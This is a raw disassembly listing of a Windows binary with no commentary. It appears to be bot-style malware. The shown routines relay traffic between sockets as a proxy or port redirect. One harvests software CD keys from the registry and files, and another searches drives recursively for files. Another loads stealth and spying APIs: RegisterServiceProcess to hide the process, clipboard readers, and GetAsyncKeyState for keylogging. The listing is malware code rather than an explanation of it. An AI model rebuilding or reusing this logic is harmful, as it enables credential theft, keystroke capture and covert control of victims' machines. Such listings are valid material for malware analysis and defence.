sub_407D86 proc near ; DATA XREF: sub_407BFE+11Co
var_1344 = byte ptr -1344h
var_344 = byte ptr -344h
var_144 = byte ptr -144h
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1344h
call sub_415D70
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
mov ebx, [ebp+var_30]
push 1
pop ecx
mov [ebp+var_4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call dword_43A418
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+arg_0], esi
jz loc_407F3C
push 10h
lea eax, [ebp+var_18]
push edi
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_18], 2
push [ebp+var_3C]
call dword_43A398
mov [ebp+var_16], ax
lea eax, [ebp+var_13C]
push eax
call dword_43A3D8
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_407E16
lea eax, [ebp+var_13C]
push eax
call dword_43A41C
jmp short loc_407E24
; ---------------------------------------------------------------------------
loc_407E16: ; CODE XREF: sub_407D86+7Fj
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_43A350
loc_407E24: ; CODE XREF: sub_407D86+8Ej
cmp eax, edi
jz loc_407F3C
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push esi
call dword_43A340
cmp eax, 0FFFFFFFFh
jz loc_407F3C
movzx eax, [ebp+var_16]
push [ebp+var_34]
mov [ebp+var_20], edi
push eax
push [ebp+var_14]
call dword_43A424
push eax
lea eax, [ebp+var_344]
push offset unk_427C1C
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_344]
push 10h
push eax
call sub_414F93
imul ebx, 234h
mov [ebp+var_30], eax
imul eax, 234h
mov ecx, [ebp+var_34]
lea esi, dword_43F534[ebx]
mov dword_43F52C[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_43F538[eax], ecx
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_144]
push edi
push eax
push offset sub_407F6D
push edi
push edi
call dword_42108C ; CreateThread
mov ecx, [ebp+var_30]
imul ecx, 234h
cmp eax, edi
mov dword_43F53C[ecx], eax
jz short loc_407F29
loc_407ED6: ; CODE XREF: sub_407D86+15Dj
cmp [ebp+var_20], edi
jnz short loc_407EE5
push 32h
call dword_421060 ; Sleep
jmp short loc_407ED6
; ---------------------------------------------------------------------------
loc_407EE5: ; CODE XREF: sub_407D86+153j
mov ebx, 1000h
loc_407EEA: ; CODE XREF: sub_407D86+19Fj
push ebx
lea eax, [ebp+var_1344]
push edi
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_1344]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_43A3B0
cmp eax, edi
jle short loc_407F3C
push edi
push eax
lea eax, [ebp+var_1344]
push eax
push [ebp+arg_0]
call dword_43A3E8
cmp eax, 0FFFFFFFFh
jnz short loc_407EEA
jmp short loc_407F3C
; ---------------------------------------------------------------------------
loc_407F29: ; CODE XREF: sub_407D86+14Ej
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_427BC8
call sub_40B1E1
pop ecx
pop ecx
loc_407F3C: ; CODE XREF: sub_407D86+44j
; sub_407D86+A0j ...
mov eax, [ebp+var_4]
imul eax, 234h
push dword_43F534[eax]
call dword_43A430
push [ebp+arg_0]
call dword_43A430
push [ebp+var_4]
call sub_4152AF
pop ecx
push edi
call dword_421048 ; ExitThread
pop edi
pop esi
pop ebx
sub_407D86 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407F6D proc near ; DATA XREF: sub_407D86+130o
var_1128 = byte ptr -1128h
var_128 = byte ptr -128h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1128h
call sub_415D70
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_128]
rep movsd
mov esi, [ebp+var_14]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_407FA4: ; CODE XREF: sub_407F6D+7Cj
push edi
lea eax, [ebp+var_1128]
push 0
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_1128]
push 0
push edi
push eax
push dword_43F538[esi]
call dword_43A3B0
test eax, eax
jle short loc_407FEB
push 0
push eax
lea eax, [ebp+var_1128]
push eax
push dword_43F534[esi]
call dword_43A3E8
cmp eax, 0FFFFFFFFh
jnz short loc_407FA4
loc_407FEB: ; CODE XREF: sub_407F6D+61j
push dword_43F538[esi]
call dword_43A430
push [ebp+var_14]
call sub_4152AF
pop ecx
push 0
call dword_421048 ; ExitThread
pop edi
pop esi
sub_407F6D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40800A proc near ; DATA XREF: sub_40CE55+58ABo
var_2D4 = byte ptr -2D4h
var_D4 = dword ptr -0D4h
var_D0 = byte ptr -0D0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 10h
mov esi, eax
pop ebx
lea edi, [ebp+var_D4]
push 2Ch
mov [ebp+var_4], ebx
pop ecx
rep movsd
push 1
xor esi, esi
pop edi
mov [eax+0A8h], edi
push ebx
lea eax, [ebp+var_14]
push esi
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_40]
call dword_43A398
push 6
push edi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
call dword_43A418
mov edi, eax
mov eax, [ebp+var_3C]
imul eax, 234h
push ebx
mov dword_43F534[eax], edi
lea eax, [ebp+var_14]
push eax
push edi
call dword_43A3C4
test eax, eax
jnz loc_4081AC
push 0Ah
push edi
call dword_43A3C0
test eax, eax
jnz loc_4081AC
push [ebp+var_40]
push [ebp+var_D4]
call sub_40A171
pop ecx
push eax
lea eax, [ebp+var_2D4]
push offset unk_427D5C
push eax
call sub_4154E7
add esp, 10h
cmp [ebp+var_30], esi
jnz short loc_4080E5
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_412D4C
add esp, 14h
loc_4080E5: ; CODE XREF: sub_40800A+B9j
; sub_40800A+172j ...
lea eax, [ebp+var_2D4]
push eax
call sub_40B16D
pop ecx
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
push edi
call dword_43A42C
push [ebp+var_3C]
mov ebx, eax
movzx eax, [ebp+var_22]
push eax
mov [ebp+var_28], esi
push [ebp+var_20]
call dword_43A424
push eax
lea eax, [ebp+var_2D4]
push offset unk_427D04
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2D4]
push 11h
push eax
call sub_414F93
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_43F52C[eax], ecx
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_D4]
push esi
push eax
push offset sub_40820F
push esi
push esi
call dword_42108C ; CreateThread
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_43F53C[ecx], eax
jz short loc_40818C
loc_408179: ; CODE XREF: sub_40800A+180j
cmp [ebp+var_28], esi
jnz loc_4080E5
push 5
call dword_421060 ; Sleep
jmp short loc_408179
; ---------------------------------------------------------------------------
loc_40818C: ; CODE XREF: sub_40800A+16Dj
call dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2D4]
push offset unk_427CB8
push eax
call sub_4154E7
add esp, 0Ch
jmp loc_4080E5
; ---------------------------------------------------------------------------
loc_4081AC: ; CODE XREF: sub_40800A+7Bj
; sub_40800A+8Cj
push edi
call dword_43A430
push [ebp+var_40]
lea eax, [ebp+var_2D4]
push offset unk_427C74
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_4081EF
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_412D4C
add esp, 14h
loc_4081EF: ; CODE XREF: sub_40800A+1C3j
lea eax, [ebp+var_2D4]
push eax
call sub_40B16D
push [ebp+var_3C]
call sub_4152AF
pop ecx
pop ecx
push esi
call dword_421048 ; ExitThread
pop edi
pop esi
pop ebx
sub_40800A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40820F proc near ; DATA XREF: sub_40800A+14Fo
var_5D4 = dword ptr -5D4h
var_5D0 = dword ptr -5D0h
var_4D0 = byte ptr -4D0h
var_4CF = byte ptr -4CFh
var_4CE = word ptr -4CEh
var_4CC = dword ptr -4CCh
var_4C8 = byte ptr -4C8h
var_C8 = byte ptr -0C8h
var_44 = byte ptr -44h
var_2C = dword ptr -2Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 2Ch
mov esi, eax
pop ecx
lea edi, [ebp+var_C8]
rep movsd
mov esi, [ebp+var_2C]
push 1
mov [ebp+arg_0], esi
imul esi, 234h
pop edi
lea esi, dword_43F534[esi]
mov [eax+0ACh], edi
xor ebx, ebx
mov eax, [esi]
mov [ebp+var_8], 5
mov [ebp+var_5D0], eax
lea eax, [ebp+var_8]
push eax
push ebx
lea eax, [ebp+var_5D4]
push ebx
push eax
push ebx
mov [ebp+var_4], ebx
mov [ebp+var_5D4], edi
call dword_43A380
test eax, eax
jnz short loc_408290
push dword ptr [esi]
call dword_43A430
push [ebp+arg_0]
call sub_4152AF
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_408290: ; CODE XREF: sub_40820F+67j
push ebx
lea eax, [ebp+var_4D0]
push 408h
push eax
push dword ptr [esi]
call dword_43A3B0
test eax, eax
jg short loc_4082C1
push dword ptr [esi]
call dword_43A430
push [ebp+arg_0]
call sub_4152AF
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_4082C1: ; CODE XREF: sub_40820F+98j
cmp [ebp+var_4D0], 4
jnz loc_4084BB
cmp [ebp+var_4CF], 1
jnz loc_4084BB
cmp [ebp+var_44], bl
jz short loc_408357
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_408357
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
push offset dword_427E3C
call sub_40B1E1
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Dh
call sub_415570
add esp, 18h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_43A3E8
push dword ptr [esi]
call dword_43A430
push [ebp+arg_0]
call sub_4152AF
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_408357: ; CODE XREF: sub_40820F+CFj
; sub_40820F+E5j
push 10h
lea eax, [ebp+var_18]
push ebx
push eax
call sub_415570
mov ax, [ebp+var_4CE]
add esp, 0Ch
mov [ebp+var_16], ax
mov eax, [ebp+var_4CC]
push 6
push edi
push 2
mov [ebp+var_18], 2
mov [ebp+var_14], eax
call dword_43A418
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_4083EF
call dword_43A32C
push eax
push offset unk_427DEC
call sub_40B1E1
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_415570
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_43A3E8
push dword ptr [esi]
call dword_43A430
push [ebp+arg_0]
call sub_4152AF
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_4083EF: ; CODE XREF: sub_40820F+181j
lea eax, [ebp+var_18]
push 10h
push eax
push edi
call dword_43A340
cmp eax, 0FFFFFFFFh
jnz short loc_40845E
call dword_43A32C
push eax
push offset unk_427D98
call sub_40B1E1
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_415570
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_43A3E8
push dword ptr [esi]
call dword_43A430
push [ebp+arg_0]
call sub_4152AF
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_40845E: ; CODE XREF: sub_40820F+1F0j
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Ah
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_43A3E8
push dword ptr [esi]
push edi
call sub_4084D3
pop ecx
pop ecx
push edi
call dword_43A430
push dword ptr [esi]
call dword_43A430
push [ebp+arg_0]
call sub_4152AF
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_4084BB: ; CODE XREF: sub_40820F+B9j
; sub_40820F+C6j
push dword ptr [esi]
call dword_43A430
push [ebp+arg_0]
call sub_4152AF
pop ecx
push ebx
call dword_421048 ; ExitThread
sub_40820F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4084D3 proc near ; CODE XREF: sub_40820F+286p
var_504 = byte ptr -504h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_4084E9: ; CODE XREF: sub_4084D3+C5j
; sub_4084D3+F5j
mov [ebp+var_100], ebx
mov [ebp+var_104], 1
xor ecx, ecx
lea eax, [ebp+var_100]
loc_408501: ; CODE XREF: sub_4084D3+3Cj
mov edx, [ebp+arg_0]
cmp [eax], edx
jz short loc_408511
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_408501
loc_408511: ; CODE XREF: sub_4084D3+33j
cmp ecx, 1
jnz short loc_408526
mov [ebp+var_FC], edx
mov [ebp+var_104], 2
loc_408526: ; CODE XREF: sub_4084D3+41j
push esi
lea eax, [ebp+var_504]
push edi
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_104]
push edi
push edi
push edi
push eax
push edi
call dword_43A380
lea eax, [ebp+var_104]
push eax
push ebx
call dword_43A290
test eax, eax
jz short loc_408586
push edi
lea eax, [ebp+var_504]
push esi
push eax
push ebx
call dword_43A3B0
cmp eax, 0FFFFFFFFh
jz short loc_4085CE
push edi
push eax
lea eax, [ebp+var_504]
push eax
push [ebp+arg_0]
call dword_43A3E8
cmp eax, 0FFFFFFFFh
jz short loc_4085CE
loc_408586: ; CODE XREF: sub_4084D3+85j
lea eax, [ebp+var_104]
push eax
push [ebp+arg_0]
call dword_43A290
test eax, eax
jz loc_4084E9
push edi
lea eax, [ebp+var_504]
push esi
push eax
push [ebp+arg_0]
call dword_43A3B0
cmp eax, 0FFFFFFFFh
jz short loc_4085CE
push edi
push eax
lea eax, [ebp+var_504]
push eax
push ebx
call dword_43A3E8
cmp eax, 0FFFFFFFFh
jnz loc_4084E9
loc_4085CE: ; CODE XREF: sub_4084D3+9Aj
; sub_4084D3+B1j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4084D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4085D3 proc near ; CODE XREF: sub_40CE55+52B0p
var_3F4 = byte ptr -3F4h
var_2F0 = byte ptr -2F0h
var_F0 = byte ptr -0F0h
var_70 = byte ptr -70h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3F4h
push ebx
xor ebx, ebx
cmp off_427E94, ebx
mov [ebp+var_C], 80h
jz loc_408785
push esi
push edi
mov eax, offset off_427E94
mov esi, offset dword_427EA0
mov edi, offset aSCdKeyS_ ; "%s CD Key: (%s)."
loc_408603: ; CODE XREF: sub_4085D3+1AAj
lea ecx, [ebp+var_4]
push ecx
push 20019h
push ebx
push dword ptr [eax]
push dword ptr [esi-10h]
call dword_43A408
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_F0]
push eax
push ebx
push ebx
push dword ptr [esi-8]
push [ebp+var_4]
call dword_43A2A4
test eax, eax
jnz loc_40876B
mov eax, [esi]
cmp eax, ebx
jz loc_40872F
push eax
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_3F4]
push offset aSS_3 ; "%s\\%s"
push eax
call sub_4154E7
lea eax, [ebp+var_3F4]
push offset aR ; "r"
push eax
call sub_415BE8
add esp, 18h
cmp eax, ebx
mov [ebp+var_8], eax
jz loc_40876B
push eax
loc_40867C: ; CODE XREF: sub_4085D3+D4j
lea eax, [ebp+var_70]
push 64h
push eax
call sub_41713C
add esp, 0Ch
test eax, eax
jz loc_408724
push dword ptr [esi+4]
lea eax, [ebp+var_70]
push eax
call sub_415AC0
pop ecx
test eax, eax
pop ecx
jz short loc_4086A9
push [ebp+var_8]
jmp short loc_40867C
; ---------------------------------------------------------------------------
loc_4086A9: ; CODE XREF: sub_4085D3+CFj
push 3Dh
push dword ptr [esi+4]
call sub_417080
pop ecx
test eax, eax
pop ecx
jz short loc_4086E8
lea eax, [ebp+var_70]
push offset asc_429098 ; "="
push eax
call sub_416C98
push offset asc_429098 ; "="
push ebx
call sub_416C98
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_4154E7
add esp, 20h
jmp short loc_4086FF
; ---------------------------------------------------------------------------
loc_4086E8: ; CODE XREF: sub_4085D3+E4j
lea eax, [ebp+var_70]
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_4154E7
add esp, 10h
loc_4086FF: ; CODE XREF: sub_4085D3+113j
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
lea eax, [ebp+var_2F0]
push eax
call sub_40B16D
add esp, 18h
loc_408724: ; CODE XREF: sub_4085D3+B9j
push [ebp+var_8]
call sub_415B40
pop ecx
jmp short loc_40876B
; ---------------------------------------------------------------------------
loc_40872F: ; CODE XREF: sub_4085D3+6Aj
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
lea eax, [ebp+var_2F0]
push eax
call sub_40B16D
add esp, 28h
loc_40876B: ; CODE XREF: sub_4085D3+60j
; sub_4085D3+A2j ...
push [ebp+var_4]
call dword_43A374
add esi, 18h
cmp [esi-0Ch], ebx
lea eax, [esi-0Ch]
jnz loc_408603
pop edi
pop esi
loc_408785: ; CODE XREF: sub_4085D3+19j
pop ebx
leave
retn
sub_4085D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408788 proc near ; DATA XREF: sub_40CE55+3C21o
var_49C = byte ptr -49Ch
var_29C = dword ptr -29Ch
var_298 = byte ptr -298h
var_218 = byte ptr -218h
var_115 = byte ptr -115h
var_114 = byte ptr -114h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 49Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0A7h
mov esi, eax
lea edi, [ebp+var_29C]
rep movsd
mov dword ptr [eax+298h], 1
lea eax, [ebp+var_114]
push eax
call sub_415CF0
xor ebx, ebx
cmp [ebp+eax+var_115], 5Ch
pop ecx
jnz short loc_4087DD
lea eax, [ebp+var_114]
push eax
call sub_415CF0
pop ecx
mov [ebp+eax+var_115], bl
loc_4087DD: ; CODE XREF: sub_408788+3Fj
lea eax, [ebp+var_218]
push eax
push offset unk_4290F0
lea eax, [ebp+var_49C]
push 200h
push eax
call sub_415A6A
add esp, 10h
cmp [ebp+var_8], ebx
jnz short loc_408822
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_412D4C
add esp, 14h
loc_408822: ; CODE XREF: sub_408788+78j
lea eax, [ebp+var_114]
push ebx
push eax
lea eax, [ebp+var_218]
push eax
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
push [ebp+var_29C]
call sub_4088A0
push eax
lea eax, [ebp+var_49C]
push offset unk_4290BC
push eax
call sub_4154E7
add esp, 24h
cmp [ebp+var_8], ebx
jnz short loc_408880
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_412D4C
add esp, 14h
loc_408880: ; CODE XREF: sub_408788+D6j
lea eax, [ebp+var_49C]
push eax
call sub_40B16D
push [ebp+var_10]
call sub_4152AF
pop ecx
pop ecx
push ebx
call dword_421048 ; ExitThread
pop edi
pop esi
pop ebx
sub_408788 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4088A0 proc near ; CODE XREF: sub_408788+B9p
; sub_4088A0+9Ep
var_54C = byte ptr -54Ch
var_34C = byte ptr -34Ch
var_248 = byte ptr -248h
var_144 = byte ptr -144h
var_118 = byte ptr -118h
var_117 = byte ptr -117h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 54Ch
push ebx
push esi
push edi
mov esi, 104h
push [ebp+arg_10]
lea eax, [ebp+var_248]
push offset aS_3 ; "%s\\*"
push esi
push eax
call sub_415A6A
mov edi, dword_4210A8
add esp, 10h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi ; FindFirstFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
mov ebx, offset aSS_3 ; "%s\\%s"
jz short loc_40895D
loc_4088EC: ; CODE XREF: sub_4088A0+BBj
test [ebp+var_144], 10h
jz short loc_408949
cmp [ebp+var_118], 2Eh
jnz short loc_408910
cmp [ebp+var_117], 0
jz short loc_408949
cmp [ebp+var_117], 2Eh
jz short loc_408949
loc_408910: ; CODE XREF: sub_4088A0+5Cj
lea eax, [ebp+var_118]
push eax
lea eax, [ebp+var_34C]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_415A6A
push [ebp+arg_14]
lea eax, [ebp+var_34C]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4088A0
add esp, 2Ch
mov [ebp+arg_14], eax
loc_408949: ; CODE XREF: sub_4088A0+53j
; sub_4088A0+65j ...
lea eax, [ebp+var_144]
push eax
push [ebp+var_4]
call dword_4210A4 ; FindNextFileA
test eax, eax
jnz short loc_4088EC
loc_40895D: ; CODE XREF: sub_4088A0+4Aj
push [ebp+var_4]
call dword_421098 ; FindClose
push [ebp+arg_C]
lea eax, [ebp+var_248]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_415A6A
add esp, 14h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi ; FindFirstFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4089E3
loc_408994: ; CODE XREF: sub_4088A0+141j
lea eax, [ebp+var_118]
inc [ebp+arg_14]
push eax
lea eax, [ebp+var_54C]
push [ebp+arg_10]
push offset aFoundSS ; " Found: %s\\%s"
push 200h
push eax
call sub_415A6A
push 1
lea eax, [ebp+var_54C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 28h
lea eax, [ebp+var_144]
push eax
push esi
call dword_4210A4 ; FindNextFileA
test eax, eax
jnz short loc_408994
loc_4089E3: ; CODE XREF: sub_4088A0+F2j
push esi
call dword_421098 ; FindClose
mov eax, [ebp+arg_14]
pop edi
pop esi
pop ebx
leave
retn
sub_4088A0 endp
; =============== S U B R O U T I N E =======================================
sub_4089F2 proc near ; CODE XREF: sub_40C682+55p
push ebx
push ebp
mov ebp, dword_4210C8
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp ; GetModuleHandleA
mov esi, dword_4210C4
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_408B12
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi ; GetProcAddress
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_43A444, eax
call esi ; GetProcAddress
push offset aProcess32first ; "Process32First"
push edi
mov dword_43A3B8, eax
call esi ; GetProcAddress
push offset aProcess32next ; "Process32Next"
push edi
mov dword_43A39C, eax
call esi ; GetProcAddress
push offset aModule32first ; "Module32First"
push edi
mov dword_43A2B8, eax
call esi ; GetProcAddress
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_43A264, eax
call esi ; GetProcAddress
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_43A294, eax
call esi ; GetProcAddress
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_43A308, eax
call esi ; GetProcAddress
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_43A3F8, eax
call esi ; GetProcAddress
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_43A454, eax
call esi ; GetProcAddress
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_43A2C4, eax
call esi ; GetProcAddress
cmp dword_43A444, ebx
mov dword_43A2AC, eax
jz short loc_408AF0
cmp dword_43A3B8, ebx
jz short loc_408AF0
cmp dword_43A39C, ebx
jz short loc_408AF0
cmp dword_43A2B8, ebx
jz short loc_408AF0
cmp dword_43A294, ebx
jz short loc_408AF0
cmp dword_43A308, ebx
jz short loc_408AF0
cmp dword_43A3F8, ebx
jz short loc_408AF0
cmp dword_43A454, ebx
jz short loc_408AF0
cmp dword_43A2C4, ebx
jz short loc_408AF0
cmp eax, ebx
jnz short loc_408AFA
loc_408AF0: ; CODE XREF: sub_4089F2+B8j
; sub_4089F2+C0j ...
mov dword_43A458, 1
loc_408AFA: ; CODE XREF: sub_4089F2+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_43A3D0, eax
jz short loc_408B27
push 1
push ebx
call eax
jmp short loc_408B27
; ---------------------------------------------------------------------------
loc_408B12: ; CODE XREF: sub_4089F2+1Dj
call dword_421088 ; RtlGetLastWin32Error
mov dword_43A45C, eax
mov dword_43A458, 1
loc_408B27: ; CODE XREF: sub_4089F2+117j
; sub_4089F2+11Ej
push offset aUser32_dll ; "user32.dll"
call dword_4210C0 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_408C3C
push offset aSendmessagea ; "SendMessageA"
push edi
call esi ; GetProcAddress
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_43A3F4, eax
call esi ; GetProcAddress
push offset aIswindow ; "IsWindow"
push edi
mov dword_43A3A4, eax
call esi ; GetProcAddress
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_43A338, eax
call esi ; GetProcAddress
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_43A448, eax
call esi ; GetProcAddress
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_43A368, eax
call esi ; GetProcAddress
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_43A388, eax
call esi ; GetProcAddress
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_43A3EC, eax
call esi ; GetProcAddress
cmp dword_43A3F4, ebx
mov dword_43A2E0, eax
jz short loc_408BE0
cmp dword_43A3A4, ebx
jz short loc_408BE0
cmp dword_43A338, ebx
jz short loc_408BE0
cmp dword_43A448, ebx
jz short loc_408BE0
cmp dword_43A368, ebx
jz short loc_408BE0
cmp dword_43A388, ebx
jz short loc_408BE0
cmp dword_43A3EC, ebx
jz short loc_408BE0
cmp eax, ebx
jnz short loc_408BEA
loc_408BE0: ; CODE XREF: sub_4089F2+1B8j
; sub_4089F2+1C0j ...
mov dword_43A460, 1
loc_408BEA: ; CODE XREF: sub_4089F2+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi ; GetProcAddress
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_43A364, eax
call esi ; GetProcAddress
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_43A278, eax
call esi ; GetProcAddress
